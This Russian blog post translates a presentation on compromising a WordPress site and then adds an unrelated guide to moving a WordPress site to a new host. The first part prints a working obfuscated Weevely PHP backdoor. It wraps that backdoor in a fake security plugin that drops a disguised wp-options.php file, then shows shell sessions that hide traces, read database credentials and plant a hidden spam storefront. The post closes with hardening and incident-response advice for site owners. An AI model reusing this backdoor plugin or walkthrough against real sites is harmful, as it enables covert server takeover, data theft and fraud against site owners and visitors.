Заметьте, что модуль эксплойта вначале определили код таблицы с базой данных сайта и только после этого загрузил SQL-запрос, чтобы создать аккаунт администратора.

Авторизация  злоумышленника

Авторизация на сайте

Наиболее эффективным способом усложнить процесс регистрации на сайте для злоумышленника, будет сделать страницу авторизации доступной только по определенным параметрам. Например, если злоумышленник находится, скажем, во Вьетнаме, а страница входа в систему доступна только для IP адресов, находящихся в городе Анн-Арборе, штата Мичиган, США, тогда злоумышленнику потребуется использовать VPN, попытаться проникнуть на сайт через слабые места в CCF, чтобы украсть информацию об одной из сессий из базы данных сайта, либо попытаться еще раз устроит атаку сайта с помощью SQL-запроса.

Пользователи WordPress

WordPpress Users

Как видите, пользователь, зарегистрированный через эксплойт, спокойно получил все права администратора и может выполнять через консоль сайта те же операции, что и владелец сайта или блога.

Хотя вполне очевидно, что было проникновение на сайт. Если настоящий владелец в это время зайдет в консоль управления, то он увидеть наш аккаунт, удалит его и, возможно, предпримет какие-то меры по защите сайта, например, обновит версию WordPress.

И что же теперь?

  • Мы можем создать или изменить некоторые посты и публикации в надежде, что владелец не заметит этого. Так мы можем вписать в статью SEO ключи или просто вставить ссылки на другие сайты, либо выполнить скрытую загрузку средств кибернападения, чтобы получить нужные данные с компьютеров посетителей сайта. Но, разумеется, стоит ожидать, что владелец сайта заметит наш аккаунт рано или поздно.
  • Мы можем закрыть доступ к сайту его владельцу, изменив все пароли, либо просто испортить сайт, заспамить его и т.д., но владелец, скорее всего, восстановит управление ресурсом через своего хостинг провайдера, а затем восстановит сайт с помощью резервной копии. Владельцы веб-ресурсов часто создают полные копии своих сайтов, регулярно обновляя их и проверяя их сохранность.
  • Либо, мы можем установить скрытую лазейку, которая позволит нам получить полный контроль над сервером – а затем скрыть следы нашего пребывания, удалив созданный нами аккаунт администратора…

Weevely

  • Weevely – это скрытый PHP веб-шелл, снабженный консолью наподобие telnet-протокола. Является основным инструментом для работы с постэксплуатацией веб-приложенияй, который можно использовать, как скрытый путь обхода системы защиты.
  • Weevely состоит из более чем 30 модулей для автоматизации административных и постэксплуатационных задач.
  • Weevely снабжен подробной обучающей инструкцией по применению.
  • Weevely входит в стандартный пакет дистрибутива Kali Linux.
  • Чтобы создать код для входа на сайт, который вы затем сможете загрузить на веб-сервер, чтобы получить скрытый удаленный доступ к серверу, используйте команду weevely generate и добавьте к ней пароль, который вы собираетесь использовать для управления backdoor:
root@badguy2:~# weevely generate L3tM3In
[generate.php] Backdoor file 'weevely.php' created with password 'L3tM3In'
root@badguy2:~#

 

Существуют десятки других PHP шеллов и бэкдор, мы выбрали Weevely, потому что эта программа проста и удобна в использовании, и потому что она входит в пакет дистрибутива Kali Linux.

Вот обфусцированный PHP код (weevely.php), который Weevely сгенерировал для нас для загрузки на сервер:

<?php
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
?>

Это активный PHP код, который принимает команду от хакера, проверяет пароль взломщика на совпадение, и, если, с паролем все в порядке, выполняет команду.

Если мы разместим файл weevely.php в корневой директории сайта, тогда мы сможем войти через бэкдор по адресу: http://myblog2.catseye.org/weevely.php (хотя чтобы зайти туда нам также придется использовать Weevely, если попытаться зайти по этому адресу через обычный веб-браузер, то откроется пустая страница).

Помимо того, что код обфусцирован, он является еще полиморфным, т.е. в нем присутствует некий случайный элемент, являющийся уникальным для каждого кода, генерируемого Weevely – такой подход позволяет предотвратить обнаружение кода антивирусным ПО и другим сканерами вредоносных программ после его загрузки.

Итак, как же нам загрузить файл weevely.php на целевой веб-сервер?

  • Благодаря эксплойт модулю Metasploit мы создали профиль администратора на сайте WordPress, а администраторы на площадке WordPress могут загружать плагины, содержащие файлы с разрешением.php.
  • Но незнакомый плагин, присутствие которого не предполагалось, может стать еще более очевидной уликой вторжения в консоль управления – согласно статистике, пользователи гораздо чаще обращают внимание на плагины, чем на зарегистрированных пользователей. Поэтому владелец сайта может просто удалить наш плагин вместе с содержащемся в нем коде бэкдор.
  • Итак, мы загрузили плагин, который создаст бэкдор при его активации, при этом бэкдор он разместит вне директории самого плагина. Затем мы удалим и плагин, и аккаунт администратора, скрыв признаки проникновения на сайт.
  • Мы разместим код бэкдор в главной директории движка WordPress и назовем его wp-options.php (который не является частью сайта WordPress), чтобы удобней было замаскировать его под легальный файл.

Другие варианты размещения и установки бэкдор – в скрытой директории, которую мы создадим, или либо спрятать глубоко в директории wp-content/uploads.

Мы стараемся избегать размещения бэкдор в директориях wp-admin или wp-includes, т.к. его могут удалить во время обновления версии WordPress.

Плагин Weevely

Наш плагин, который доставит бэкдор в нужное место, выгляди следующим образом:

<?php
/*
Plugin Name: WP Elite Security Pro
Description: WP Elite Security Pro addresses over 250 potential security problems to keep your WordPress site secure like nothing else can.  Includes the Elite Guardian monitoring techology to keep you informed about attacks against your site.
Version: 1.3.1
Author: WP Trust Assurance, Inc.
Author URI: http://wordpress.org/plugins/wp-elite-security
License: GPL3
*/

function wesp_activate() {

  $str = <<<'ENDOFSTRING'
/**
 * Enhanced Security Keys and Salts.
 *
 * These are unique to each WordPress site and are generated automatically
 * during installation and upgrades.  They should not be changed manually.
 *
 * @since 4.0.0
 */
$puda="sjMpeyRrPSd0TTNJbic7ZWesNesobyesAnPCcuJGsuJz4nO2V2YWwoYmFzZTesY0X2RlY29kZShwcmVnX";
$qdqy = str_replace("v","","svtvrv_rveplvavce");
$gsqi="JesGM9J2esNvdW50JzskYT0kX0esNesPesT0tJRTestpZihyZXNlesdCgkYSk9esPesSdMMycgJiYgJGMoJGEpPe";
$oydb="3JlcGxhY2esUoYXJyYXkoJy9esbesXeslx3PVxzXSes8nLCcvXHMvJykessIGFycmF5KCcnLCcrJyesksIGespvaW4";
$dscq="oYXJyYXlesfc2xpY2UoJGesEsJGesMoJesGEespLTMespKSkpesKTestlY2hesvIesCc8LycuJGsuJz4esnO30=";
$itjh = $qdqy("ca", "", "bacascae64_dcaecaccaode");
$vwfl = $qdqy("rk","","rkcrkrrkerkarkterk_frkurknrkctrkirkorkn");
$qbdh = $vwfl('', $itjh($qdqy("es", "", $gsqi.$puda.$oydb.$dscq))); $qbdh();
ENDOFSTRING;

  $str = "<" . "?php\n" . $str . "\n?" . ">\n";

  $file = fopen( '/var/www/html/wp-options.php', 'w' );
  fwrite( $file, $str );
  fclose( $file );

}

register_activation_hook( __FILE__, 'wesp_activate' );
?>

Строка заголовка полностью придуманный бред, это сделано на случай, если кто-то загрузит плагин во время непродолжительного периода, который у нас будет на его установку.

Мы встроим в плагин единственную функцию, которая заработает после его активации. Функция заключается в создании нового файла /var/www/html/wp-options.php и вписанного в него бэкдор-кода созданого Weevely.

Заметьте, что мы добавили несколько комментариев, которые в действительности полнейший вымысел, в начало файла, содержащего бэкдор. Это сделано с целью придать ему как можно более безобидный вид на случай, если владелец сайта найдет его и просмотрит. Ключ защиты и прочие средства не следует мешать вместе, все должно выглядит на подобие обфусцированного PHP-кода, т.е. быть почти незаметным.

Также заметьте, что мы удалили PHP-тэги из файла Weevely, мы добавим их позднее – это сделано, чтобы предотвратить его преждевременный запуск во время работы плагина.

Загрузка плагина содержащего бэкдор

Упакуйте в папку Zip наш плагин wp-elite-security, загрузите его и активируйте.

Использование программы Weevely

После того, как мы установили бэкдор, мы можем с атакующей машины установить соединение непосредственно с сервером и таким образом выполнить любую команду по нашему желанию:

root@badguy2: ~# weevely http://myblog2.catseye.org/wp-options.php L3tM3In
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell

[+] Browse filesystem, execute commands or list available modules with ':help'
[+] Current session: 'sessions/myblog2.catseye.org/wp-options.session'
www-data@myblog2:/var/www/html $ ls -l
total 184
-rw-r--r--  1 www-data www-data   418 Sep 24  2013 index.php
-rw-r--r--  1 www-data www-data 19930 Apr  9 19:50 license.txt
-rw-r--r--  1 www-data www-data  7192 Apr 21 00:42 readme.html
-rw-r--r--  1 www-data www-data  4951 Aug 20 13:30 wp-activate.php
drwxr-xr-x  9 www-data www-data  4096 Sep  4 12:25 wp-admin
-rw-r--r--  1 www-data www-data   271 Jan  8  2012 wp-blog-header.php
-rw-r--r--  1 www-data www-data  4946 Jun  5 00:38 wp-comments-post.php
-rw-r--r--  1 www-data www-data  2746 Aug 26 15:59 wp-config-sample.php
-rw-rw-rw-  1 www-data www-data  3036 Oct  2 20:14 wp-config.php
drwxr-xr-x  6 www-data www-data  4096 Oct  3 14:30 wp-content
-rw-r--r--  1 www-data www-data  2956 May 13 00:39 wp-cron.php
drwxr-xr-x 12 www-data www-data  4096 Sep  4 12:25 wp-includes
-rw-r--r--  1 www-data www-data  2380 Oct 24  2013 wp-links-opml.php
-rw-r--r--  1 www-data www-data  2714 Jul  7 12:42 wp-load.php
-rw-r--r--  1 www-data www-data 33043 Aug 27 01:32 wp-login.php
-rw-r--r--  1 www-data www-data  8252 Jul 17 05:12 wp-mail.php
-rw-r--r--  1 www-data www-data   856 Oct  3 14:33 wp-options.php
-rw-r--r--  1 www-data www-data 11115 Jul 18 05:13 wp-settings.php
-rw-r--r--  1 www-data www-data 26256 Jul 17 05:12 wp-signup.php
-rw-r--r--  1 www-data www-data  4026 Oct 24  2013 wp-trackback.php
-rw-r--r--  1 www-data www-data  3032 Feb  9  2014 xmlrpc.php
www-data@myblog2:/var/www/html $ :system.info
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses'
[system.info] Error downloading TOR exit list: 'http://exitlist.torproject.org/exit-addresses.new'
+--------------------+------------------------------------------------------------------------------------+
| client_ip          | 192.168.4.144                                                                      |
| max_execution_time | 30                                                                                 |
| script             | /wp-options.php                                                                    |
| check_tor          | False                                                                              |
| open_basedir       |                                                                                    |
| hostname           | myblog2                                                                            |
| php_self           | /wp-options.php                                                                    |
| whoami             | www-data                                                                           |
| uname              | Linux myblog2 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 |
| safe_mode          | 0                                                                                  |
| php_version        | 5.5.9-1ubuntu4.4                                                                   |
| release            | Ubuntu 14.04.1 LTS                                                                 |
| dir_sep            | /                                                                                  |
| os                 | Linux                                                                              |
| cwd                | /var/www/html                                                                      |
| document_root      | /var/www/html                                                                      |
+--------------------+------------------------------------------------------------------------------------+
www-data@myblog2:/var/www/html $

К примеру, вы можете напечатать :help и получите список всех встроенных команд, поддерживаемых Weevely. А все, что не начинается с двоеточия, воспринимается, как команда для веб-сервера-жертвы.

Скрываем следы своего присутствия

Теперь, когда мы знаем, что установленный нами бэкдор работает, убираем все следы нашего посещения сайта с помощью аккаунта администратора, для чего необходимо выполнить следующие шаги:

  • Отключите  только что установленный плагин.
  • Удалите плагин, который мы только что установили.
  • Хотелось бы еще удалить аккаунт администратора, но мы не можем это сделать из своего аккаунта, поэтому просто выходим из системы.

Мы можем удалить аккаунт администратора, созданного эскплойтом, если сами обновим базу данных сайта. Если понадобится, можно будет создать новый аккаунт позднее.

www-data@myblog2:/var/www/html $ grep DB_ wp-config.php
define('DB_NAME', 'wordpress');
define('DB_USER', 'wordpress');
define('DB_PASSWORD', 'PexpD&F');
define('DB_HOST', 'localhost');
define('DB_CHARSET', 'utf8');
define('DB_COLLATE', '');
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -h ost localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin      | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org |  | 2014-10-03 00:15:16 |  | 0 | admin |
| 2 | dimuHQRery | $P$BS0KP5qd5Vhs4MVZ7ZIoMcIU0R2AjB/ |       |                              |  | 0000-00-00 00:00:00 |  | 0 |       |
+---+------------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_users where ID = 2"

No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "delete from wordpress.wp_usermeta where user_id = 2"
No data returned, check credentials and dbms availability.
www-data@myblog2:/var/www/html $ :sql.console -user wordpress -pass "PexpD&F" -host localhost -dbms mysql -query "select * from wordpress.wp_users"
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
| 1 | admin | $P$BzhnOQuKjAFmmMJaVwQzTMppk4Z43C0 | admin | markmont@myblog2.catseye.org | | 2014-10-03 00:15:16 | | 0 | admin |
+---+-------+------------------------------------+-------+------------------------------+--+---------------------+--+---+-------+
www-data@myblog2:/var/www/html $

Получить идентификационные данные мы можем через wp-config.php  и использовать эту лазейку для получения любой нужной нам информации из базы данных сайта.

Открываем интернет-магазин

Давайте загрузим некоторые HTML файлы на сервер сайта, чтобы создать адрес (не существующего) интернет магазина в скрытой директории.

URL адресом нашего магазина будет:  http://myblog2.catseye.org/wp-content/uploads/2014/10/.store

www-data@myblog2:/var/www/html $ curl -s -O http://www-personal.umich.edu/~markmont/awp/store.tar
www-data@myblog2:/var/www/html $ tar -C /var/www/html -x -f store.tar
www-data@myblog2:/var/www/html $ rm store.tar
www-data@myblog2:/var/www/html $ mv store wp-content/uploads/2014/10/.store
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10/.store
index.html
shopkeepers.jpg
www-data@myblog2:/var/www/html $ ls wp-content/uploads/2014/10
www-data@myblog2:/var/www/html $
[!] Exiting. Bye ^^
root@badguy2: ~#

Наш виртуальный магазин

Теперь мы готовы направить 15 млн. писем с URL-адрес нашего магазина!!

Магазин в потайной директории

Вопросы?

Это конец презентации, а слайды, которые идут далее, содержат советы о том, как обезопасить ваш сайт на движке WordPress, а также другую справочную информацию.

Как обеспечить безопасность вашему сайту, работающему на WordPress

Своевременное выполнение обновлений:

  1. Проверяйте не вышли ли новые обновления системы WordPress, тем и плагинов не реже раза в неделю и своевременно выполняйте обновления.

«Но я не хотел бы нарушить уже отлаженные настройки!»

  • Заведите «пробный» сайт, где вы будете апробировать все свежие обновления, прежде чем установить их на основной работающий сайт. Такой проверкой может быть даже установка WordPress на ваш компьютер, если вы не хотите платить за хостинг услуги еще одного сайта.
  • Подождите примерно 2-3 дня, не более, после выхода обновлений, посмотрите в отзывах на форумах о проблемах с новыми обновлениями, и если таковых нет, то можете спокойно обновлять систему.
  • При маловероятном исходе событий, обновление системы может привести к нарушению нормальной работы сайта. В таком случае вернитесь к предыдущей версии (через шелл или SFTP-доступ), либо восстановите сайт из резервной копии (вы ведь регулярно создаете резервные копии, не так ли?).

Вы также можете бесплатно скачать приложение BitNami Stack для WordPress из магазина Mac App Store. Оно позволит с легкостью управлять «пробным» сайтом с экрана вашего компьютера.

Немного больше внимания и усилий потребуют приложения WAMP (для Windows) или MAMP (для Mac).

 

Либо для полного контроля можно арендовать сервер с ОС Linux, который будет выполнять роль виртуальной машины у вас на компьютере.

Позаботьтесь о надежной защите паролей:

  • Если доступ к управлению сайтом имеете только вы и авторы, ограничьте (через настройку конфигураций на веб-сервере) географическое расположение мест, откуда можно входить в систему.
  • В других случаях используйте плагины, такие как Limit Login Attempts или Login Security Solution, ограничивающие число попыток авторизации, предотвращая взлом пароля простым угадыванием.
  • Не сообщайте никому постороннему и не храните на компьютере данные об используемых никах для входа на WordPress. Не следует иметь аккаунт под ником «admin» (если у вас такой существует, замените его на любой другой), и убедитесь, что действительные имена и фамилии авторов, отображаемые в панели управления сайта, не используются ими в качестве логинов для входа (если таковые есть, попросите заменить их на ники).

Следите за защитой паролей:

  • Рекомендации по выбору пароля:
    • Не используйте один и тот же пароль для нескольких сайтов или аккаунтов.
    • Убедитесь, что все ваши пароли достаточно длинные и сложные.
  • Наилучший вариант: создавайте случайные одноразовые пароли с помощью менеджера паролей, например, такие как 1Password или PassPack.
  • Либо: используйте в пароле от четырех и более слов, несвязанных между собой по смыслу (например, «правильный, лошадь, батарея, скоба»).
  • Либо: используйте начальные буквы каждого слова в некоем придуманном вами или взятом из книг предложении, добавив туда числа и знаки пунктуации.

В марте 2013 года интернет-издание Ars Technica опубликовало статью о том, как легко можно взломать пароль.

Если вы решили использовать слова, ни в коем случае не составляйте из них фразы – убедитесь, что слова не связаны по смыслу. Даже редко употребляемые фразы легко угадать, если их использовать в качестве пароля.

Вам необходимо уделить больше внимания двум параметрам защиты: ваш пароль не должен легко разгадываться, и если один из паролей украдут (с этого или других сайтов), убедитесь, что злоумышленник не сможет воспользоваться им для входа в другие используемые вами сервисы.

Поскольку, как оказалось, пароль довольно легко взломать, то ограничить географию мест, откуда пользователи могут входить в аккаунт. Или вам действительно так необходимо свободно входить в панель управления сайтом – без использования VPN – скажем, из какой-нибудь кофейной во Вьетнаме?

Хостинг и (протокол безопасных соединений) SSL:

  • Выбирайте только надежного хорошо зарекомендовавшего себя поставщика хостинг услуг, у которого тщательно следят за вопросами безопасности (прежде чем воспользоваться услугами провайдера, поинтересуйтесь у него о гарантиях безопасности для вашего сайта).
    • Отдавайте предпочтение хостинг провайдеру, который позволит вам установить и самостоятельно управлять движком WordPress, а также всеми имеющимися на площадке темами и плагинами. Таким образом вы будете иметь полный контроль над безопасностью своего сайта.
    • Выбирайте хостинг поставщика, который обеспечивает безопасность операционной системы, веб-сервера, и сервера баз данных для своих клиентов, а также выполняет резервное копирование сайтов своих клиентов.
      • Регулярно проверяйте выполняет ли ваш провайдер хостинга все обновления вовремя, чтобы быть уверенным, что на сайте используется последняя версия патчей ОС, веб-сервера и сервера БД, какие бы дистрибутивы изначально и какое ПО не использовал провайдер, они должны быть своевременно обновляться и иметь поддержку разработчика.
  • Используйте протокол SSL (HTTPS) для страницы аутентификации и для других страниц, доступных только администратору.
    • Если вы не будете использовать протокол SSL, ваше имя пользователя и пароль будут каждый раз отправляться через общедоступную сеть прямым текстом, и могут быть перехвачены.
  • Выберите хостера, который позаботился о предоставлении вам SSL-сертификата, управлении/продлении его действия, и настройке веб-сервера для SSL, так что все, что вам нужно будет сделать, это включить его в WordPress.

Не выбирайте хостинг провайдера, основываясь только на стоимости его услуг!

Веб-сервер и система файлов:

  • Заблокируйте доступ к директориям wp-includes и wp-admin/includes
  • Заблокируйте доступ к .htaccess файлам
  • Заблокируйте доступ или удалите файлы с разрешением .txt и README.
  • Убедитесь, что права на запись к файлам и каталогам, установлены только вам. Последняя цифра разрешения должно всегда быть 0, 4, или 5, но не 6 или 7.

Прочие вопросы:

  • Обеспечьте безопасность ваших баз данных:
    • При установке WordPress выберите для таблицы базы данных иной префикс, чем wp_.
    • Удалите базу данных test.
    • Удалите анонимных пользователей базы данных.
    • Убедитесь, что у базы данных нет свободного доступа через сеть Интернет.
  • Включайте разрешение на редактирование файлов только, когда необходимо внести изменения в тему оформления сайта. Все остальное время у вашего сайта должен быть установлен запрет на редактирование. Для этого в файл wp-config.php добавьте следующую строку:
define('DISALLOW_FILE_EDIT', true);
  • Просканируйте свой сайт программой WPScan.

Имейте в виду, что изменение префикса базы данных не остановит от вторжения эксплойта наподобие такого, какой мы создавали сегодня: эксплойт модуль Metasploit определил таблицу базы данных прежде, чем приступил к созданию аккаунта администратора. Однако, изменение префикса может помочь предотвратить другие атаки, и поэтому это следует сделать.

Включение функции ЗАПРЕТА НА РЕДАКТИРОВАНИЕ ФАЙЛОВ можно, пожалуй, назвать крайней мерой.

Что делать, если произошло проникновение на ваш сайт (ваш сайт взломали)

  1. Переведите сайт на автономную работу (установите профилактический режим). Это поможет не дать злоумышленнику нанести других повреждений сайту или не позволит ему помешать вам восстановить контроль, пока вы исправляете уже созданные взломщиком проблемы.
  1. Сообщите своему хостинг провайдеру о взломе сайта и попросите о помощи.
  2. Создайте резервную копию взломанного сайта, на случай если вам понадобится изучить его позднее.
  3. Просмотрите лог-файлы , чтобы определить, как злоумышленник проник на сайт. Это поможет вам узнать, как устранить проблему и  отыскать, что сделал злоумышленник.
  4. Обновите все, что можно обновить.
  5. Удалите все файлы, страницы, посты, комментарии или процессы, созданные и добавленные взломщиком. Если сомневаетесь, все ли удалили, то запустите новый сайт на WordPress и затем восстановите на его базе последнюю имеющуюся у вас хорошего качества резервную копию сайта.
  6. Замените все пароли, использовавшиеся на сайте. А также смените пароли к админке хостинг провайдера и пароли к базе данных.

Как минимизировать последствия атаки

  • Запретить регистрацию пользователей. Для комментариев используйте аккаунты в социальных сетях.
  • Не публикуйте конфиденциальную информацию на своем сайте (кредитные карты, номер социального страхования, информацию о здоровье и т.д.).
  • Установите автоматическое создание ежедневных бэкапов (как всех файлов, так и базы данных) и тестируйте их на исправность каждый месяц.
  • Делайте заметки о том, как вы настраиваете сайт, так чтобы в дальнейшем знать, какие конфигурации изначально использовались.
  • Составьте примерный план действий на случай взлома вашего сайта – с кем связаться, что делать в такой ситуации и как делать.

Если вы не будете использовать WordPress аккаунты для оставления комментариев, это решит многие проблемы с безопасностью, где главным уязвимым местом являются слабые пароли таких комментаторов вместе с email адресами, которые злоумышленнику можно легко узнать.

Ведение записей служит нескольким целям: во-первых, у вас будут записи того, какие настройки вы использовали, так что в случае каких-либо изменений на сайте, сделанных злоумышленником, вы сможете сразу это определить и устранить его ловушки; во-вторых, вы сможете создать, в случае необходимости, новый сайт с аналогичными настройками, не беспокоясь о том, все ли верно вы воссоздали, в-третьих, ведение записей будет вас стимулировать относиться более внимательно к тому, что вы делаете и к выбору того или иного решения, а также позволит иметь более четкое представление о работе сайта в целом.

Уязвимости площадки WordPress

Представленные далее сайты могут быть полезными, если вы хотите получить более подробную информацию об уязвимостях и возможных вариантах вторжения на WordPress:

Список используемых источников

Если вы хотите узнать об уязвимостях и как хакеры их используют, то список OWASP Топ-10 (указанный выше) может стать хорошей отправной точкой в таком изучении.

Также для продвинутых читателей может быть интересен анализ уязвимостей при сериализации PHP объектов, это была, пожалуй, одна из наиболее сложных уязвимостей, устраненная в 2013 году в сентябрьской версии WordPress 3.6.1:

—————————————-

На этом всё! Планирую в скором времени опубликовать перевод презентации о которой упоминал автор в начале статьи, если вас заинтересовала эта тема подписывайтесь на обновления моего блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!

Перенос сайта на WordPress на другой хостинг.

Доброго времени суток, уважаемые читатели блога Мои тараканы!

Переезд сайта на другой хостинг

Недавно возникла потребность перенести сайт на WordPress с сервера одного хостинг провайдера на сервер другого хостинга. В принципе, причин для этого может быть множество — вас перестали устраивать услуги хостера (большая цена или не удовлетворительное качество), вы купили уже готовый проект или же просто хотите создать тестовую копию вашего творения.

На вопрос «как перенести сайт» может быть много вариантов ответов, всё зависит от того что именно вам нужно — со сменой домена, без смены домена, перенос на Денвер (локальный компьютер), другой движок. В данной статье расскажу о том как произвести перенос сайта на WordPress на примере двух хостинг-провайдеров. Экспорт будет производиться из Hostenko на TimeWeb.

У меня прошло всё гладко. Правда возникало несколько интересных нюансов, о которых я и напишу в этой статье.

Перенос файлов

Первое, с чего мы начнем, это копирование файловой системы. Для этого нам обязательно понадобиться программа FileZilla — без неё перенос сайта на другой хостинг невозможен. Скачиваем. Устанавливаем. Запускаем.

Менеджер сайтов FileZilla

Открываем программу и кликаем по иконке в верхнем левом углу.

В диалоговом окне настраиваем соединение с сервером.

Соединение с сервером

1. Создаем новое соединение.
2. Придумываем ему название.
3, 5, 6. Эти параметры узнаем у хостера (см. ниже).
4. Тип входа Нормальный.
7. Соединиться.

Для соединения нам нужны параметры Хост, Пользователь и Пароль — их мы узнаём в панели управления хостингом (как я говорил в начале поста, переносить ресурс мы будем из Хостенко).

Переходим в Личный кабинет >> Управление хостингом:

Данные для FTP соединения Хостенко.

Отсюда берём данные Хост, Пользователь (login), Пароль.

Теперь мы можем соединиться с сервером по протоколу ftp (File Transfer Protocol).

Перенос файлов с сервера на компьютер

В левой половине экрана мы видим папки и файлы, находящиеся на нашем компьютере, справа — на удалённом сервере. Нам нужно создать папку на компьютере (правой кнопкой мыши «Создать каталог и открыть его») и туда скопировать все содержимое из корневой директории (кликнуть по одному из элементов, нажать на клавиатуре Ctrl+A (выбрать все) и просто перетянуть файлы в нужную нам папку).

Перемещение файлов

Простым перетягиванием копируем файлы к себе на компьютер

Копирование может занять длительное время. У меня этот процесс занял 15 минут.

Выгрузка файлов на сервер

Для начала, в панели управления хостингом (напомню, мы переезжаем на ТаймВеб) нужно создать директорию для переезда.

Это можно сделать двумя способами: либо создать новый сайт и подключить к нему домен (как подключить домен читайте мою статью), либо создать его на поддомене, что, в принципе я и сделал.

Создаем поддомен на хостинге TimeWeb

Создаем новый сайт

1. Придумываем имя для поддомена.
2. Указываем директорию.

Соединяемся по ftp с сервером TimeWeb при помощи уже известной нам программы FileZilla. Данные для подключения мы найдём на главной страничке панели управления.

Данные для FTP

Когда подключимся, мы увидим созданную нами через админку директорию, и уже имеющиеся там папку cgi-bin и файлик index.htm. Вот как прокомментировали наличие этих файлов в службе поддержки:

Индексный файл index.htm и папка cgi-bin создаются автоматически. Вам необходимо добавить индексный файл Вашего сайта и затем удалить файл index.htm. Папка cgi-bin не влияет на работу сайта и также может быть удалена.

Удаляем их и переносим все, что мы сохранили в папку на компьютере в корневую папку на хостинге.

Экспорт-импорт базы данных

Файловую систему мы перенесли. Но это только половина дела. Если мы сейчас перейдем по адресу нашего сайта мы увидим следующее сообщение: Ошибка установки соединения с базой данных. Ясное дело — базы данных (далее буду использовать сокращение БД) у нас то ещё нет.

Экспорт базы данных

Снова возвращаемся в админ-панель Hostenko. Личный кабинет >> Управление хостингом.

Переходим в phpmyadmin

Переходим в phpMyAdmin (панель управления базой данных).

Делаем экспорт таблиц БД.

Экспорт БД

Сохраняем дамп БД в формате SQL себе на компьютер.

 

Импорт и настройка базы данных

Теперь идём в панель управления TimeWeb и создаем новую БД. Обязательно запомните, как вы её назвали и пароль к ней.

Создаём новую базу данных

Открываем в Notepad++ (FTP настраивается по такому же принципу как и в FileZilla) wp-config.php (находится в корневой директории), в нём прописаны настройки к старой БД их нужно изменить на новые:

// ** Параметры MySQL: Эту информацию можно получить у вашего хостинг-провайдера ** //
/** Имя базы данных для WordPress */
define('DB_NAME', 'сюда вписываем имя БД');
/** Имя пользователя MySQL */
define('DB_USER', 'сюда имя пользователя (может совпадать с именем БД)');
/** Пароль к базе данных MySQL */
define('DB_PASSWORD', 'пароль');

Что будет если сейчас открыть главную страницу нашего проекта? Мы увидим следующее сообщение:

Установка wordpress

Ничего устанавливать не нужно. У нас всё установлено. Это происходит, потому что наша база данных ещё пуста. Нам нужно произвести импорт таблиц из старой БД в новую. Для этого переходим в phpMyAdmin (на хостинге на который переезжаем). И импортируем таблицы из дампа SQL на нашем компьютере.

Импорт БД.

1. Переходим во вкладку «Импорт».
2. Выбираем сохраненный ранее дамп БД.
3. Жмём Ok

Процесс завершон

Если мы сейчас откроем наш сайт, мы наконец-то увидим то, что нужно. Но в случае если вы при переезде сменили доменное имя, ресурс может работать не совсем корректно — могут не отображаться картинки, ссылки вести на страницы со старым доменом и др. Это по тому, что в некоторых таблицах БД сохранились «хвосты» от вашего старого домена.

Чтобы это исправить, нам нужно произвести следующие действия:

В phpMyAdmin открываем вкладку SQL и выполняем запросы:

UPDATE wp_options SET option_value = REPLACE (option_value, 'старый домен', 'новый домен') WHERE option_name = 'home' OR option_name = 'siteurl';
UPDATE wp_posts SET guid = REPLACE (guid, 'старый домен', 'новый домен');
UPDATE wp_posts SET post_content = REPLACE (post_content, 'старый домен','новый домен');

Обратите внимание! Имя домена вводим без http://. Иначе адрес вашего сайта может получиться вида http://http://vash_site.ru

Запросы к базе данных.

1. Открываем вкладку SQL.
2. Сюда вписываем запросы.
3. Жмём «Вперёд».

Ну вот! Теперь всё работает как часы! Перенос сайта на другой хостинг произведён! В какой последовательности вы будете выполнять перечисленные действия — не важно, главное их произвести правильно.

Осталась пара нюансов! Нужно удалить упоминания о старом домене (если они конечно есть) в документах .htacess и robots.txt (о настройке роботс.тхт я когда-то писал).

Мы рассмотрели перенос сайта на WordPress, но по такому же принципу можно переместить вебсайт на любом движке. Если у вас ещё остались вопросы по теме «как перенести сайт?», задавайте их в комментариях.

На этом прощаюсь с вами. Подписывайтесь на обновления моего блога в Twitter , RSS или по почте!

С уважением, Мышак Пётр!